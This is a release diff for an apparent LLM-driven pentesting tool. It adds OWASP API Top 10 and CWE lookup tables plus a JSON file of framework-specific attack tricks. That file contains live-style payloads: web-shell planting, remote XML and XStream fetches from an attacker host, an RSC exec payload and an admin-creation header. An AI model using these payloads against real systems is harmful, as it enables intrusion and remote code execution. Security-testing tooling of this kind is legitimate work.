blitzstrike 1.1.0 → 1.1.3

package/CHANGELOG.md

@@ -5,6 +5,48 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [1.1.3] — 2026-09-13
+
+### Added — standard taxonomy (OWASP API Top 10 + CWE)
+
+- New `taxonomy` MCP tool + `intelligence/api_top10.json` + `cwe_map.json`:
+  - `taxonomy(api)` → OWASP API Security Top 10 (2023) risks mapped to Blitz
+    coverage (BOLA, broken auth, BOPLA, resource consumption, BFLA, business
+    flows, SSRF, misconfiguration, inventory, unsafe consumption).
+  - `taxonomy(cwe, query)` → CWE ID + name for any technique class (52 mapped),
+    for grounding findings in standard IDs during reporting.
+- THIRD-PARTY-NOTICES: OWASP API Security (CC BY-SA 4.0) + MITRE CWE.
+
+## [1.1.2] — 2026-09-13
+
+### Added — curated security resource index
+
+- New `resource_lookup` MCP tool + `intelligence/resources.json`: 30 curated
+  domain-specific security resources (from the community Awesome-Hacking
+  meta-list, filtered to web/pentest relevance) — each tagged with use_when
+  (which phase/context it serves). Search by category (web, pentest, bug_bounty,
+  api, recon, payload, cve, privesc, source, fuzzing, llm, framework, osint,
+  rev, cracking, forensics, malware, ir, intel, cicd, knowledge, labs) or
+  keyword. Lets the LLM find the best domain-specific tools/knowledge when
+  Blitz Strike's own data doesn't cover a domain.
+
+## [1.1.1] — 2026-09-13
+
+### Added — HackTricks full enrichment (52 classes + 16 frameworks)
+
+- `techniques.json` expanded 25 → 52 vulnerability classes (added crlf, ldap,
+  xpath, xslt, ssi, xssi, email injection, formula/CSV injection, orm, rsql,
+  json/xml/yaml, unicode, dangling markup, account takeover, 2FA bypass,
+  rate-limit bypass, password reset, captcha bypass, registration, payment
+  bypass, timing attacks, uuid insecurities, reverse tabnabbing, iframe traps,
+  cookie hacking, postMessage vulnerabilities, methodology).
+- New `framework_tricks` MCP tool + `intelligence/framework_tricks.json`: 16
+  frameworks (Laravel, Django, Flask, Node/Express, Next.js, Vue, Angular,
+  WordPress, Joomla, Spring, JSP, Python, Go, Ruby/Rails, Perl, GraphQL) with
+  detection signals, known vulns/CVEs, and concrete attack tricks.
+- Synthesized in own words from public technique references (paraphrased, not
+  verbatim — HackTricks has no open license).
+
 ## [1.1.0] — 2026-09-13
 
 ### Added — detailed technique base (25 vulnerability classes)

package/THIRD-PARTY-NOTICES.md

@@ -56,6 +56,19 @@ satisfies the attribution requirements of those licenses.
   (category identifiers WSTG-INFO/CONF/IDNT/ATHN/ATHZ/SESS/INPV/ERRH/CRYP/
   BUSL/CLNT/APIT and their test names).
 
+## OWASP API Security Top 10
+
+- **Source:** https://github.com/OWASP/API-Security
+- **License:** CC BY-SA 4.0
+- **Used for:** the 2023 risk taxonomy in `intelligence/api_top10.json`
+  (API1–API10 identifiers and risk names).
+
+## MITRE CWE (Common Weakness Enumeration)
+
+- **Source:** https://cwe.mitre.org
+- **Used for:** standard weakness identifiers + names in `intelligence/cwe_map.json`
+  (CWE IDs are MITRE's taxonomy; the technique→CWE mapping is our own).
+
 ---
 
 All other code, chains, and data in this project are written by shinthink

package/dist/index.js

@@ -31782,6 +31782,66 @@ function techniqueLookup(cls) {
     return { found: true, ...c };
   return { found: false, cls, suggestions: data.classes.map((x) => String(x.id)) };
 }
+function frameworkTricks(framework) {
+  const data = loadJson("framework_tricks");
+  if (!data)
+    return { found: false, error: "framework_tricks.json not found" };
+  if (!framework) {
+    return { found: true, frameworks: data.frameworks.map((f) => ({ framework: f.framework })) };
+  }
+  const q = framework.toLowerCase();
+  const f = data.frameworks.find((x) => String(x.framework).toLowerCase().includes(q));
+  if (f)
+    return { found: true, ...f };
+  return { found: false, framework, suggestions: data.frameworks.map((x) => String(x.framework)) };
+}
+function resourceLookup(category) {
+  const data = loadJson("resources");
+  if (!data)
+    return { found: false, error: "resources.json not found" };
+  if (!category) {
+    return {
+      found: true,
+      resources: data.resources.map((r) => ({ id: r.id, name: r.name, category: r.category, use_when: r.use_when }))
+    };
+  }
+  const q = category.toLowerCase();
+  const matches = data.resources.filter((r) => String(r.category).toLowerCase() === q || String(r.id).toLowerCase().includes(q) || String(r.name).toLowerCase().includes(q) || String(r.use_when).toLowerCase().includes(q));
+  if (matches.length > 0)
+    return { found: true, matches };
+  return { found: false, category, suggestions: [...new Set(data.resources.map((r) => String(r.category)))] };
+}
+function taxonomy(kind, query) {
+  if (kind === "api" || kind === "api_top10" || kind === "owasp-api") {
+    const data = loadJson("api_top10");
+    if (!data)
+      return { found: false, error: "api_top10.json not found" };
+    if (!query)
+      return { found: true, risks: data.risks };
+    const q = query.toLowerCase();
+    const r = data.risks.find((x) => String(x.id).toLowerCase() === q || String(x.name).toLowerCase().includes(q));
+    if (r)
+      return { found: true, ...r };
+    return { found: false, query, suggestions: data.risks.map((x) => String(x.id)) };
+  }
+  if (kind === "cwe" || kind === "weakness") {
+    const data = loadJson("cwe_map");
+    if (!data)
+      return { found: false, error: "cwe_map.json not found" };
+    if (!query)
+      return { found: true, mapping: data.mapping };
+    const q = query.toLowerCase();
+    const m = data.mapping.filter((x) => String(x.id).toLowerCase().includes(q) || String(x.cwe).toLowerCase() === q || String(x.name).toLowerCase().includes(q));
+    if (m.length > 0)
+      return { found: true, matches: m };
+    return { found: false, query, suggestions: data.mapping.map((x) => String(x.id)) };
+  }
+  return {
+    found: false,
+    error: "unknown taxonomy kind",
+    usage: "taxonomy(kind='api'|'cwe', query?)"
+  };
+}
 
 // src/active.ts
 var TIMEOUT_MS2 = 20000;
@@ -54277,13 +54337,41 @@ ${statusLine}` : statusLine },
   });
   server.registerTool("technique_lookup", {
     title: "Detailed bug-hunting technique base",
-    description: "INTEL: return the DETAILED methodology + tricks for one vulnerability class (ssrf, request_smuggling, cache_poisoning, race_condition, ssti, deserialization, prototype_pollution, mass_assignment, sql_injection, nosql_injection, xss, cors, csrf, jwt, oauth, host_header, open_redirect, subdomain_takeover, idor, graphql, websocket, file_upload, path_traversal_lfi, command_injection, xxe). Each returns summary, objectives, how_to_test steps, concrete techniques, and verify (marker + negative control). Load before testing a class to hunt it in detail.",
+    description: "INTEL: return the DETAILED methodology + tricks for one vulnerability class (52 classes: ssrf, request smuggling, cache poisoning, race conditions, ssti, deserialization, prototype pollution, mass assignment, sql/nosql injection, xss, cors, csrf, jwt, oauth, host header, open redirect, subdomain takeover, idor, graphql, websocket, file upload, path traversal/LFI, command injection, xxe, crlf, ldap, xpath, xslt, ssi, xssi, email, formula/CSV, orm, rsql, unicode, dangling markup, account takeover, 2fa bypass, rate-limit, password reset, captcha, registration, payment bypass, timing, uuid, reverse tabnabbing, iframe traps, cookies, postMessage, ...). Each returns summary, objectives, how_to_test steps, concrete techniques, and verify (marker + negative control). Load before testing a class to hunt it in detail.",
     inputSchema: {
       cls: string2().optional().describe("Optional class id or name (e.g. 'ssrf', 'request smuggling', 'ssti').")
     }
   }, async ({ cls }) => {
     return { content: [{ type: "text", text: JSON.stringify(techniqueLookup(cls)) }] };
   });
+  server.registerTool("framework_tricks", {
+    title: "Framework-specific exploitation tricks",
+    description: "INTEL: return framework-specific exploitation knowledge for a framework (Laravel, Django, Flask, Node/Express, Next.js, Vue, Angular, WordPress, Joomla, Spring, JSP, Python, Go, Ruby/Rails, Perl, GraphQL) — detection signals, known vulns/CVEs, and concrete attack tricks. Use after detect_framework to hunt that framework's specific weaknesses.",
+    inputSchema: {
+      framework: string2().optional().describe("Optional framework name (e.g. 'laravel', 'django', 'wordpress').")
+    }
+  }, async ({ framework }) => {
+    return { content: [{ type: "text", text: JSON.stringify(frameworkTricks(framework)) }] };
+  });
+  server.registerTool("resource_lookup", {
+    title: "Curated security resource index",
+    description: "INTEL: return curated domain-specific security resources (the community Awesome-Hacking index, filtered to web/pentest relevance) — each with name, URL, description, and use_when (which phase/context it serves). Search by category (web, pentest, bug_bounty, api, recon, payload, cve, privesc, source, fuzzing, llm, framework, osint, rev, cracking, forensics, malware, ir, intel, cicd, knowledge, labs) or keyword. Use to find the best domain-specific tools/knowledge when Blitz Strike's own data doesn't cover it.",
+    inputSchema: {
+      category: string2().optional().describe("Optional category id or keyword (e.g. 'web', 'payload', 'recon', 'privesc').")
+    }
+  }, async ({ category }) => {
+    return { content: [{ type: "text", text: JSON.stringify(resourceLookup(category)) }] };
+  });
+  server.registerTool("taxonomy", {
+    title: "OWASP API Top 10 + CWE taxonomy",
+    description: "INTEL: return standard taxonomy for grounding + professional reporting. taxonomy(kind='api') returns the OWASP API Security Top 10 (2023) risks mapped to Blitz coverage; taxonomy(kind='cwe', query='ssrf') returns the CWE ID + name for a technique class (or a CWE id). Use to map findings to standard IDs (CWE-79, CWE-89, API1 BOLA, ...).",
+    inputSchema: {
+      kind: string2().optional().describe("'api' (OWASP API Top 10) or 'cwe' (CWE mapping)."),
+      query: string2().optional().describe("Optional query: a technique class id (for cwe) or an API risk id (for api).")
+    }
+  }, async ({ kind, query }) => {
+    return { content: [{ type: "text", text: JSON.stringify(taxonomy(kind, query)) }] };
+  });
   server.registerTool("engagement_start", {
     title: "Start an engagement",
     description: "ORCHESTRATION: open an engagement and track its state. Call at the start of a full audit so subsequent engagement_phase / engagement_track / engagement_status calls have a state to update. The LLM is the brain; this is the deterministic bookkeeping hand.",

package/intelligence/api_top10.json

@@ -0,0 +1,15 @@
+{
+  "_comment": "OWASP API Security Top 10 (2023) mapped to Blitz Strike coverage. Each risk has its id, name, and the Blitz technique/tool that hunts it.",
+  "risks": [
+    {"id": "API1", "name": "Broken Object Level Authorization (BOLA)", "cwe": ["CWE-639"], "desc": "Accessing another user's object by tampering the object id without an authorization check.", "blitz": "technique_lookup(idor) + active_scan", "data": []},
+    {"id": "API2", "name": "Broken Authentication", "cwe": ["CWE-287", "CWE-384"], "desc": "Weak or bypassable authentication (JWT, OAuth, token, credential flaws).", "blitz": "technique_lookup(jwt) + technique_lookup(oauth) + bypass_lookup(auth)", "data": []},
+    {"id": "API3", "name": "Broken Object Property Level Authorization (BOPLA)", "cwe": ["CWE-915", "CWE-639"], "desc": "Mass assignment / excessive data exposure of object properties.", "blitz": "technique_lookup(mass_assignment) + complex_scan", "data": []},
+    {"id": "API4", "name": "Unrestricted Resource Consumption", "cwe": ["CWE-400", "CWE-770"], "desc": "DoS via missing rate limits, deep recursion, or resource exhaustion.", "blitz": "technique_lookup(rate_limit_bypass) + technique_lookup(race_condition)", "data": []},
+    {"id": "API5", "name": "Broken Function Level Authorization (BFLA)", "cwe": ["CWE-862", "CWE-285"], "desc": "Invoking admin-only functions without the right role.", "blitz": "technique_lookup(idor) + route_scan", "data": []},
+    {"id": "API6", "name": "Unrestricted Access to Sensitive Business Flows", "cwe": ["CWE-841"], "desc": "Abusing a legitimate business flow (purchase, redeem) without authorization.", "blitz": "technique_lookup(bypass_payment) + hp-business-logic-fuzzing", "data": []},
+    {"id": "API7", "name": "Server Side Request Forgery", "cwe": ["CWE-918"], "desc": "The API fetches an attacker-influenced URL to reach internal services.", "blitz": "technique_lookup(ssrf) + ap-ssrf-cloud-metadata", "data": ["chains"]},
+    {"id": "API8", "name": "Security Misconfiguration", "cwe": ["CWE-16"], "desc": "Verbose errors, exposed debug/admin endpoints, missing headers, CORS misconfig.", "blitz": "technique_lookup(cors) + live_recon + web-hunting (exposed config)", "data": []},
+    {"id": "API9", "name": "Improper Inventory Management", "cwe": ["CWE-1057"], "desc": "Orphaned/legacy API versions or endpoints left undocumented and unprotected.", "blitz": "live_recon (versioned APIs) + web-hunting (recon)", "data": []},
+    {"id": "API10", "name": "Unsafe Consumption of APIs", "cwe": ["CWE-20", "CWE-502"], "desc": "Trusting third-party API responses that are then processed unsafely.", "blitz": "technique_lookup(deserialization) + technique_lookup(command_injection)", "data": []}
+  ]
+}

package/intelligence/cwe_map.json

@@ -0,0 +1,56 @@
+{
+  "_comment": "Technique class -> CWE mapping (standard weakness IDs, for grounding + professional reporting). Each entry maps a techniques.json class id to its CWE ID(s) and name.",
+  "mapping": [
+    {"id": "ssrf", "cwe": "CWE-918", "name": "Server-Side Request Forgery (SSRF)"},
+    {"id": "request_smuggling", "cwe": "CWE-444", "name": "Inconsistent Interpretation of HTTP Requests (Request Smuggling)"},
+    {"id": "cache_poisoning", "cwe": "CWE-524", "name": "Use of Cache Containing Sensitive Information"},
+    {"id": "race_condition", "cwe": "CWE-362", "name": "Concurrent Execution using Shared Resource (TOCTOU)"},
+    {"id": "ssti", "cwe": "CWE-1336", "name": "Improper Neutralization of Special Elements Used in a Template Engine (SSTI)"},
+    {"id": "deserialization", "cwe": "CWE-502", "name": "Deserialization of Untrusted Data"},
+    {"id": "prototype_pollution", "cwe": "CWE-1321", "name": "Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution)"},
+    {"id": "mass_assignment", "cwe": "CWE-915", "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"},
+    {"id": "sql_injection", "cwe": "CWE-89", "name": "SQL Injection"},
+    {"id": "nosql_injection", "cwe": "CWE-943", "name": "Improper Neutralization of Special Elements in Data Query Logic (NoSQL Injection)"},
+    {"id": "xss", "cwe": "CWE-79", "name": "Cross-site Scripting"},
+    {"id": "cors", "cwe": "CWE-942", "name": "Permissive Cross-domain Policy with Untrusted Domains (CORS)"},
+    {"id": "csrf", "cwe": "CWE-352", "name": "Cross-Site Request Forgery"},
+    {"id": "jwt", "cwe": "CWE-347", "name": "Improper Verification of Cryptographic Signature"},
+    {"id": "oauth", "cwe": "CWE-287", "name": "Improper Authentication"},
+    {"id": "host_header", "cwe": "CWE-644", "name": "Improper Neutralization of HTTP Headers for Scripting Syntax (Host Header)"},
+    {"id": "open_redirect", "cwe": "CWE-601", "name": "URL Redirection to Untrusted Site (Open Redirect)"},
+    {"id": "subdomain_takeover", "cwe": "CWE-350", "name": "Reliance on Reverse DNS Resolution for a Security-Critical Action"},
+    {"id": "idor", "cwe": "CWE-639", "name": "Authorization Bypass Through User-Controlled Key (IDOR/BOLA)"},
+    {"id": "graphql", "cwe": "CWE-862", "name": "Missing Authorization"},
+    {"id": "websocket", "cwe": "CWE-345", "name": "Insufficient Verification of Data Authenticity (WebSocket Hijacking)"},
+    {"id": "file_upload", "cwe": "CWE-434", "name": "Unrestricted Upload of File with Dangerous Type"},
+    {"id": "path_traversal_lfi", "cwe": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)"},
+    {"id": "command_injection", "cwe": "CWE-78", "name": "OS Command Injection"},
+    {"id": "xxe", "cwe": "CWE-611", "name": "Improper Restriction of XML External Entity Reference (XXE)"},
+    {"id": "crlf_injection", "cwe": "CWE-93", "name": "Improper Neutralization of CRLF Sequences (CRLF Injection)"},
+    {"id": "ldap_injection", "cwe": "CWE-90", "name": "Improper Neutralization of Special Elements in LDAP Queries"},
+    {"id": "xpath_injection", "cwe": "CWE-643", "name": "Improper Neutralization of Data within XPath Expressions"},
+    {"id": "xslt_injection", "cwe": "CWE-91", "name": "XML Injection (XSLT)"},
+    {"id": "ssi_injection", "cwe": "CWE-97", "name": "Improper Neutralization of Server-Side Includes (SSI)"},
+    {"id": "xssi", "cwe": "CWE-200", "name": "Exposure of Sensitive Information to an Unauthorized Actor (XSSI)"},
+    {"id": "email_injection", "cwe": "CWE-74", "name": "Improper Neutralization of Special Elements in Output (Email Header Injection)"},
+    {"id": "formula_csv_injection", "cwe": "CWE-1236", "name": "Improper Neutralization of Formula Elements in a CSV File"},
+    {"id": "orm_injection", "cwe": "CWE-89", "name": "SQL Injection (via ORM)"},
+    {"id": "rsql_injection", "cwe": "CWE-89", "name": "SQL Injection (RSQL/FIQL)"},
+    {"id": "unicode_injection", "cwe": "CWE-180", "name": "Incorrect Behavior Order: Validate Before Canonicalize"},
+    {"id": "dangling_markup", "cwe": "CWE-79", "name": "Cross-site Scripting (Dangling Markup)"},
+    {"id": "account_takeover", "cwe": "CWE-287", "name": "Improper Authentication (Account Takeover)"},
+    {"id": "two_fa_bypass", "cwe": "CWE-308", "name": "Use of Single-factor Authentication"},
+    {"id": "rate_limit_bypass", "cwe": "CWE-799", "name": "Improper Control of Interaction Frequency (Rate Limit)"},
+    {"id": "password_reset_bypass", "cwe": "CWE-640", "name": "Weak Password Recovery Mechanism for Forgotten Password"},
+    {"id": "captcha_bypass", "cwe": "CWE-804", "name": "Guessable CAPTCHA"},
+    {"id": "registration_vulnerabilities", "cwe": "CWE-799", "name": "Improper Control of Interaction Frequency"},
+    {"id": "payment_bypass", "cwe": "CWE-841", "name": "Improper Enforcement of Behavioral Workflow (Business Logic)"},
+    {"id": "timing_attacks", "cwe": "CWE-208", "name": "Observable Timing Discrepancy"},
+    {"id": "uuid_insecurities", "cwe": "CWE-330", "name": "Use of Insufficiently Random Values"},
+    {"id": "reverse_tab_nabbing", "cwe": "CWE-1022", "name": "Use of Web Link to Untrusted Target with window.opener Access (Reverse Tabnabbing)"},
+    {"id": "iframe_traps", "cwe": "CWE-1021", "name": "Improper Restriction of Rendered UI Layers or Frames (Clickjacking)"},
+    {"id": "cookie_hacking", "cwe": "CWE-565", "name": "Reliance on Cookies without Validation and Integrity Checking"},
+    {"id": "postmessage_vulnerabilities", "cwe": "CWE-345", "name": "Insufficient Verification of Data Authenticity (postMessage)"},
+    {"id": "web_vulnerabilities_methodology", "cwe": "CWE-1057", "name": "Improper Inventory / Methodology"}
+  ]
+}

package/intelligence/framework_tricks.json

@@ -0,0 +1,338 @@
+{
+  "_comment": "Framework-specific exploitation tricks (signals to fingerprint, known vulns/CVEs, and concrete attack tricks). Synthesized from general security knowledge.",
+  "frameworks": [
+    {
+      "framework": "Laravel",
+      "signals": [
+        "XSRF-TOKEN + laravel_session cookies",
+        "_ignition/health-check endpoint (Ignition debug tool)",
+        "_debugbar / telescope / horizon endpoints + Blade error pages"
+      ],
+      "vulns": [
+        "APP_KEY leak → AES-256-CBC/GCM cookie forgery → PHP deserialization RCE (CVE-2018-15133; Invoice Ninja CVE-2024-55555, Snipe-IT CVE-2024-48987, Crater CVE-2024-55556)",
+        "HTTP argv/env override → auth bypass (CVE-2024-52301)",
+        "Wildcard file validation bypass on files.* (CVE-2025-27515)",
+        "Debug-mode Whoops reflected XSS (CVE-2024-13918/13919)",
+        "Unsafe SQL functions (DB::raw / orderByRaw style concat)"
+      ],
+      "tricks": [
+        "Offline APP_KEY brute-force of leaked XSRF-TOKEN/laravel_session ciphertexts (Synacktiv: ~3.99% crack rate, top-10 default keys in commercial templates)",
+        "phpggc Laravel/RCE13|RCE9|RCE15 + laravel_crypto_killer.py encrypt → deliver to any decrypt() sink (route/cookie/session)",
+        "?--env=preprod / ?--env=local query override when register_argc_argv=On",
+        "Multipart field files[0][__asterisk__payload]=@shell.php to skip validator but still write UploadedFile",
+        "LFI/debug page → /../.env to recover APP_KEY and DB creds"
+      ]
+    },
+    {
+      "framework": "Django",
+      "signals": [
+        "sessionid + csrftoken cookies",
+        "/admin/ login + /static/admin/css/base.css hashes",
+        "debug stack traces / X-Frame-Options error pages for version fingerprinting"
+      ],
+      "vulns": [
+        "Cache pickle deserialization → RCE (FileBasedCache / Redis / DB backends; HackerOne #1415436)",
+        "Host header / password-reset poisoning via request.META['HTTP_HOST'] bypassing ALLOWED_HOSTS",
+        "SSTI in Django Template Language (DTL is Turing-complete)",
+        "PickleSerializer + signed_cookies session backend → SECRET_KEY leak = RCE",
+        "SQLi in QuerySet values/alias/JSONField key names (CVE-2024-42005, CVE-2025-57833); log injection (CVE-2025-48432)"
+      ],
+      "tricks": [
+        "{{7*7}} → 49 SSTI probe; {{''.__class__.mro()[1].__subclasses__()}} walk to subprocess.Popen",
+        "{{ users.values }} QuerySet dump bypasses __str__ filtering even when RCE is blocked",
+        "badsecrets against sessionid to test known/weak SECRET_KEY",
+        "Drop malicious pickle at /var/tmp/django_cache/<key> (os.system __reduce__)",
+        "signing.dumps(RCE(), key=SECRET_KEY, serializer=PickleSerializer) → sessionid=RCE cookie"
+      ]
+    },
+    {
+      "framework": "Flask",
+      "signals": [
+        "session cookie (URL-safe base64, signed not encrypted)",
+        "Werkzeug server headers / debugger PIN page",
+        "Jinja2 template error pages"
+      ],
+      "vulns": [
+        "SSTI via Jinja2 when user input reaches render_template_string/format",
+        "Session cookie forgery → privilege escalation when secret key is leaked/weak",
+        "Unsafe proxy URL concatenation → SSRF via '@' host confusion in request path"
+      ],
+      "tricks": [
+        "flask-unsign --decode / --wordlist rockyou --unsign / --sign {'logged_in':True}",
+        "GET @/ or @attacker.example request-target to reach Flask routes and poison concatenated URLs",
+        "ripsession to automate cookie forgery across a wordlist",
+        "sqlmap --eval to sign SQLi payloads with a known Flask secret"
+      ]
+    },
+    {
+      "framework": "Node.js / Express",
+      "signals": [
+        "X-Powered-By: Express",
+        "connect.sid, s:<sig> and j:<json> cookies",
+        "_method=PUT/DELETE hidden fields + body-parser error pages"
+      ],
+      "vulns": [
+        "qs / extended urlencoded parser → prototype pollution, mass assignment, NoSQLi via nested keys",
+        "trust proxy misconfig → X-Forwarded-* header spoofing (host/proto/ip)",
+        "Session fixation (no req.session.regenerate() after login)",
+        "Method-override smuggling of PUT/PATCH/DELETE through POST-only edges",
+        "Signed-cookie secret brute-force / rotation-key weakness"
+      ],
+      "tricks": [
+        "?user[role]=admin&filters[name][$ne]=x (qs nesting, __proto__/constructor[prototype] payloads)",
+        "X-Forwarded-Host/Proto/For spoofing for reset-poisoning, IP allowlist and rate-limit bypass",
+        "X-HTTP-Method-Override: DELETE or POST /x?_method=PUT to reach hidden routes/CSRF",
+        "cookie-monster -c <cookie> -w wordlist to brute cookie secrets then re-sign"
+      ]
+    },
+    {
+      "framework": "Next.js",
+      "signals": [
+        "/_next/static/<buildId>/ assets and buildId in HTML",
+        "Next-Action header on POST / (Server Actions)",
+        "text/x-component Flight responses + x-nextjs-prerender"
+      ],
+      "vulns": [
+        "Middleware auth bypass via x-middleware-subrequest header (CVE-2025-29927)",
+        "RSC Flight deserialization → prototype pollution → RCE (CVE-2025-55182 / React2Shell, react-server-dom-webpack 19.0.0–19.2.0)",
+        "RSC cache poisoning / content-type confusion → stored XSS (CVE-2025-49005, Re:CACHE)",
+        "RSC DoS + Server Function source disclosure (CVE-2025-55183/55184/67779)",
+        "Client-side path traversal (CSPT) and dangerouslySetInnerHTML XSS"
+      ],
+      "tricks": [
+        "x-middleware-subrequest: middleware:middleware:... to flip 307→200 on protected routes",
+        "Flight payload {\"then\":\"$1:__proto__:then\", _formData.get:\"$1:constructor:constructor\", _prefix: require('child_process').exec(...)}",
+        "react2shell-scanner --safe-check (500 + E{\"digest\"} = vulnerable oracle)",
+        "Hash↔function mapping: regex createServerReference(...) in chunks + source maps, swap Next-Action values",
+        "Accept/Rsc: 1 header to force RSC payload; _buildManifest.js for route enumeration"
+      ]
+    },
+    {
+      "framework": "Vue.js",
+      "signals": [
+        "v-html directive / Vue runtime in JS bundles",
+        "__VUE__ global + Vue devtools",
+        "vue-template-compiler / SSR builds"
+      ],
+      "vulns": [
+        "v-html raw HTML XSS (img onerror)",
+        "v-bind:href/src javascript: URL injection",
+        "SSR untrusted template → RCE (vue-template-compiler CVEs)",
+        "Prototype pollution in plugins (vue-i18n deep-merge GHSA-p2ph-7g93-hw3m)",
+        "Open redirect via unchecked route query next param"
+      ],
+      "tricks": [
+        "<img src=x onerror=alert(1)> through v-html",
+        "javascript:alert(1) via v-bind:href user input",
+        "createSSRApp({ template: userProvidedHtml }) = server-side code exec",
+        "JSON.parse('{\"__proto__\":{\"polluted\":true}}') into deepmerge helper",
+        "window.location.assign(this.$route.query.next) open redirect"
+      ]
+    },
+    {
+      "framework": "Angular",
+      "signals": [
+        "_ngcontent-* attributes on DOM",
+        "[id].main.js compiled bundles + //# sourceMappingURL",
+        "ng-version / angular.json sourceMap config"
+      ],
+      "vulns": [
+        "bypassSecurityTrustHtml/Url/Style misuse → sanitizer bypass XSS",
+        "Runtime template injection {{constructor.constructor('alert(1)')()}}",
+        "DOM XSS via ElementRef.nativeElement, Renderer2.setAttribute/setProperty, jQuery html()",
+        "Open redirect via window.location / document.location sinks"
+      ],
+      "tricks": [
+        "bypassSecurityTrustHtml('<svg onclick=alert(1)>') — script tags inert via innerHTML but on* attributes fire",
+        "{{constructor.constructor('alert(1)')()}} when attacker input is compiled as template (not plain interpolation)",
+        "renderer2.setAttribute(el,'onerror','alert(1)') on <img>",
+        "document.write/createElement + appendChild script sinks",
+        "Source-map disclosure for source reconstruction when sourceMap enabled"
+      ]
+    },
+    {
+      "framework": "WordPress",
+      "signals": [
+        "wp-content/wp-includes paths, meta generator tag",
+        "/wp-json/wp/v2/users + xmlrpc.php",
+        "/wp-login.php, /wp-admin/admin-ajax.php, license.txt/readme.html version"
+      ],
+      "vulns": [
+        "Unauth plugin/theme SQLi/LFI/file-deletion via wp_ajax_nopriv_ handlers (WP Job Portal, Depicter, Kubio, Litho)",
+        "Trusted-header REST impersonation → admin creation (WooCommerce Payments ≤5.6.1, X-Wcpay-Platform-Checkout-User: 1)",
+        "Nonce-as-authorization misuse → arbitrary plugin install/activate RCE (FunnelKit, Motors)",
+        "XML-RPC credential brute-force + pingback SSRF/DDoS + 2FA bypass",
+        "Pre-auth login XSS → DOM clobbering → RCE chain (XSS2Shell, core <7.0.3); MU-plugin stealth persistence"
+      ],
+      "tricks": [
+        "?author=1 user-ID enumeration + wp-json/wp/v2/users dump",
+        "system.multicall for multi-cred brute-force; wp.uploadFile for RCE once creds obtained",
+        "X-Wcpay-Platform-Checkout-User: 1 on POST /wp-json/wp/v2/users with roles:[administrator]",
+        "admin-ajax.php action=<nopriv> fontfamily=../../../wp-config.php (arbitrary delete/LFI/SQLi)",
+        "Theme Editor → edit 404.php with system($_GET['cmd']) → curl /wp-content/themes/<theme>/404.php?cmd=id"
+      ]
+    },
+    {
+      "framework": "Joomla",
+      "signals": [
+        "<meta name=generator content=Joomla>",
+        "/administrator/manifests/files/joomla.xml + /language/en-GB/en-GB.xml version files",
+        "README.txt + robots.txt markers"
+      ],
+      "vulns": [
+        "Unauth API info disclosure (CVE-2023-23752, Joomla 4.0.0–4.2.7)",
+        "Admin template-edit → PHP injection → RCE",
+        "XSS → RCE / privilege-escalation chains (JoomSploit)"
+      ],
+      "tricks": [
+        "/api/v1/users?public=true and /api/index.php/v1/config/application?public=true (CVE-2023-23752)",
+        "Templates → Customise → error.php → system($_GET['cmd']) → /templates/protostar/error.php?cmd=id",
+        "droopescan scan joomla --url <target>",
+        "joomla-brute.py default creds (admin:admin)"
+      ]
+    },
+    {
+      "framework": "Spring Actuators",
+      "signals": [
+        "/actuator/* base path (Spring Boot 2.x) or root /health,/env (1.x)",
+        "/health, /info, /env, /beans, /mappings, /heapdump, /loggers",
+        "Spring Boot version banners / error pages"
+      ],
+      "vulns": [
+        "Exposed actuator endpoints → sensitive data + env/config disclosure",
+        "/jolokia reloadByURL → logback XXE/RCE via external XML config",
+        "/env property modification → XStream deserialization RCE (Eureka serviceURL) + H2 RCE chain",
+        "/heapdump JVM snapshot secrets (DB creds, tokens, Basic-Auth)",
+        "/loggers level escalation to capture auth credentials"
+      ],
+      "tricks": [
+        "wget /actuator/heapdump && strings | grep 'Authorization: Basic' then base64 -d; JDumpSpider/VisualVM OQL for DataSourceProperties",
+        "POST /env eureka.client.serviceUrl.defaultZone=http://attacker/xstream",
+        "/jolokia/exec/.../reloadByURL/http:!/!/attacker/logback.xml",
+        "POST /actuator/loggers/org.springframework.security {configuredLevel:TRACE} then harvest /actuator/logfile",
+        "GET ;@evil.com/url matrix-parameter pathname confusion → SSRF"
+      ]
+    },
+    {
+      "framework": "JSP",
+      "signals": [
+        "*.jsp / *.do extensions",
+        "JSESSIONID cookie + Tomcat error pages",
+        "JSTL/EL ${} expression usage"
+      ],
+      "vulns": [
+        "getContextPath() link manipulation → XSS via protocol-relative URL injection",
+        "EL / JSTL expression injection in templates",
+        "Related: Struts2 OGNL / Spring EL RCE families"
+      ],
+      "tricks": [
+        "/&sol;attacker.example/xss.js&num;/..;/..;/contextPathExample/test.jsp → //attacker.example/xss.js script src XSS",
+        "Prepend request.getContextPath() into src/href/action attributes without HTML-attribute encoding",
+        "URL-encode then HTML-attribute-encode dynamic values; fixed trusted base to avoid request-controlled origin"
+      ]
+    },
+    {
+      "framework": "Python",
+      "signals": [
+        "eval()/exec()/pickle.loads sinks",
+        "SSTI in Jinja2/DTL render paths",
+        "pickle/yaml deserialization endpoints"
+      ],
+      "vulns": [
+        "eval/exec expression injection",
+        "pickle deserialization → __reduce__ RCE",
+        "Python sandbox escapes (load_name/load_const OOB, js2py CVE-2024-28397)",
+        "ReportLab/xhtml2pdf triple-bracket [[[...]]] rl_safe_eval RCE (CVE-2023-33733)",
+        "Class pollution (Python's prototype pollution)"
+      ],
+      "tricks": [
+        "\"+str(True)+\" probe to confirm expression evaluation vs reflection",
+        "pickle class RCE: __reduce__ → os.system",
+        "[[[ expression ]]] injection into PDF generation flows (xhtml2pdf)",
+        "Subclass-walk object graph for sandbox escape gadgets"
+      ]
+    },
+    {
+      "framework": "Go (net/http)",
+      "signals": [
+        "Go net/http default server headers/behaviour",
+        "html/template vs text/template rendering",
+        ".go route handlers / ServeMux patterns"
+      ],
+      "vulns": [
+        "ServeMux CONNECT method skips path canonicalization → path traversal/authz bypass",
+        "text/template (not html/template) SSTI/XSS",
+        "SSRF via proxied request targets",
+        "Race-condition / TOCTOU logic bugs"
+      ],
+      "tricks": [
+        "curl --path-as-is -X CONNECT http://target/../flag to bypass cleanPath redirect on ordinary methods",
+        "Compare CONNECT vs GET/POST response to detect auth-boundary traversal",
+        "Inject {{.}} / template actions into text/template sinks"
+      ]
+    },
+    {
+      "framework": "Ruby / Rails",
